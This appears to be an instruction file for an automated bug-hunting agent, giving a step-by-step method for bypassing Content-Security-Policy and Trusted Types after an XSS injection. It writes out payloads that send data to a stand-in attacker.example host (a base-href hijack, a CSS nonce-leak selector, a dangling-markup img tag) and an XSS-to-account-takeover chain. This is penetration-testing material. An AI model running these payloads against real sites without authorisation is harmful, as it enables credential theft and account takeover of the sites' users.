Hunt: XSS - CSP/TT bypass + escalation expert (microskill)
Escalation expert of the xss split: the injection already fires, the browser refuses to execute. CSP is a filter like any other - it allowlists ORIGINS, and allowlisted origins host pivots (JSONP, open redirects) the policy author never audited.
Wiki
Hub: [[wiki/techniques/web/xss]] - qmd on hint only: "csp bypass jsonp open redirect nonce leak strict-dynamic trusted types dangling markup".
Paths (binding - shared with the mapper run)
RUN=$ENG_DIR/hunt/xss/<host> # SHARED with hunt-xss
Experts write probes/xss-csp*.jsonl into the mapper's $RUN tree.
Step 1 - Policy parse
- Capture CSP per page (header +
<meta>; they do NOT merge - meta wins some directives, capture both). Record enforced vs report-only separately; report-only does not block. - Record @ $RUN/raw/csp-policy.md rows
directive | value | enforced?plusbase-uri,object-src,frame-ancestors, and whether Trusted-Types (require-trusted-types-for 'script') is on.
unsafe-inline + unsafe-eval .......... no bypass needed - plain XSS
script-src 'self' .................... look for same-origin JSONP,
/redirect endpoints, uploadable
same-origin JS (file lane)
script-src nonce-N ... nonce reuse: reflected in DOM? guessable?
leak via CSS oracle (below)
script-src strict-dynamic ............ chain through existing scripts:
any script-gadget src-set works
script-src *.googleapis.com etc ...... CDN-hosted angular/library =
CSTI lane pivots; JSONP helpers
Step 2 - Allowlist pivots
- JSONP on any allowlisted origin:
?callback=alert//(callback charset permitting) - enumerate allowlisted domains forcallback/cbparams. - Open redirect on an allowlisted origin: browsers follow redirects for script src when the initial URL matches policy.
- base-uri missing/loose =
<base href="//attacker.example/">+ relative script paths load attacker JS (check page uses relative script srcs). - Wildcard CDN hosting a known-vulnerable library version (AngularJS = the CSTI CSP-mode payloads).
Step 3 - Nonce + Trusted-Types attacks
- Nonce reflection: nonce echoed in a param/DOM attribute a second time (copy it into injected markup).
- CSS attribute-selector nonce oracle (style-src must allow inline or an allowlisted stylesheet host):
script[nonce^="ab"]{background:url(//attacker.example/leak?ab)}
iterate chars; CSP blocks nothing about CSS attr selectors.
- Trusted Types: probe the TT sink names -
defaultpolicy bypasses (a registered default policy that passes strings), unsafe libraries creating their own policies, iframe collusion (a same-site sibling frame WITHOUT TT passing crafted values - the MutantBedrog class).
Step 4 - No-exec escalation (when execution stays blocked)
- Dangling markup:
<img src='https://attacker.example/c?data=- swallows trailing page HTML into the URL = token/CSRF exfil without JS (needs CSP to allow img - usually does). - CSS exfil: attribute-selector oracle over inputs holding secrets.
- XSS-to-ATO chain once ANY execution lands: fetch CSRF token -> POST email/password change -> persistent ATO; sendBeacon for exfil through restrictive connect-src.
Step 5 - Validation + exit
- Execution (or documented no-exec exfil) captured; screenshot into targets//poc/.
- Rows appended to $RUN/candidates.jsonl (class=csp); pointer
XSS-CSP-DONE policy=<enforced|report-only|none> pivots=<n> bypassed=<n> escalated=<ato|exfil|none>appended to $ENG_DIR/hunt-xss-.md; Deadends per policy (row cites the directive combo that held).
Blocked implies research: before any Deadend is claimable on a held
policy, (a) walk the shared arsenal (hunt-xss/references/waf-bypass.md)
rows for that control class, and (b) run one wiki query AND one
mcp__wigolo__search for CSP bypass <directive combo> 2025. Results,
or a genuine null, land in coverage-depth.md. "No research tried" is
not a claimable state.
Depth walk (mandatory)
Walk EVERY applicable row: the CSP directive pivots + escalation rows ([[csp-bypass]]). Record each
row in $RUN/coverage-depth.md as a table | row | state | evidence |
where state is probed, blocked, or N/A, and evidence is a probe
path or a Deadends.md line. A bare probed with no evidence reference
fails the completion gate.
Validation
Proof = a payload executing (or exfiltrating) under the live enforced policy - a raw missing directive alone is a config note, not a finding.
False Positives
- Report-only CSP (
Content-Security-Policy-Report-Only) never blocks anything; check the header name before claiming bypass impact. - A bypass that only works on a policy the app never sends.
Cross-routing
- hunt-xss (mapper) for the injection point; hunt-xss-mxss when the mutation, not the policy, is the story; hunt-secrets if the nonce/gadget chain yields tokens.
Attack surface
APPROACH: Parse the policy to find the weakest directive (unsafe-inline, wildcard, gadget script-src, non-strict-dynamic); chain nonce theft or a JSONP/base-uri pivot before brute payloads; escalate no-exec wins (dangling markup, CSS exfil) when script stays blocked. AVOID: A missing default-src alone is not a finding - a demonstrated policy bypass reaching an injected payload is.
Stop conditions
Every policy directive audited; every allowlisted origin checked for JSONP/redirect pivots; nothing written into skill dirs.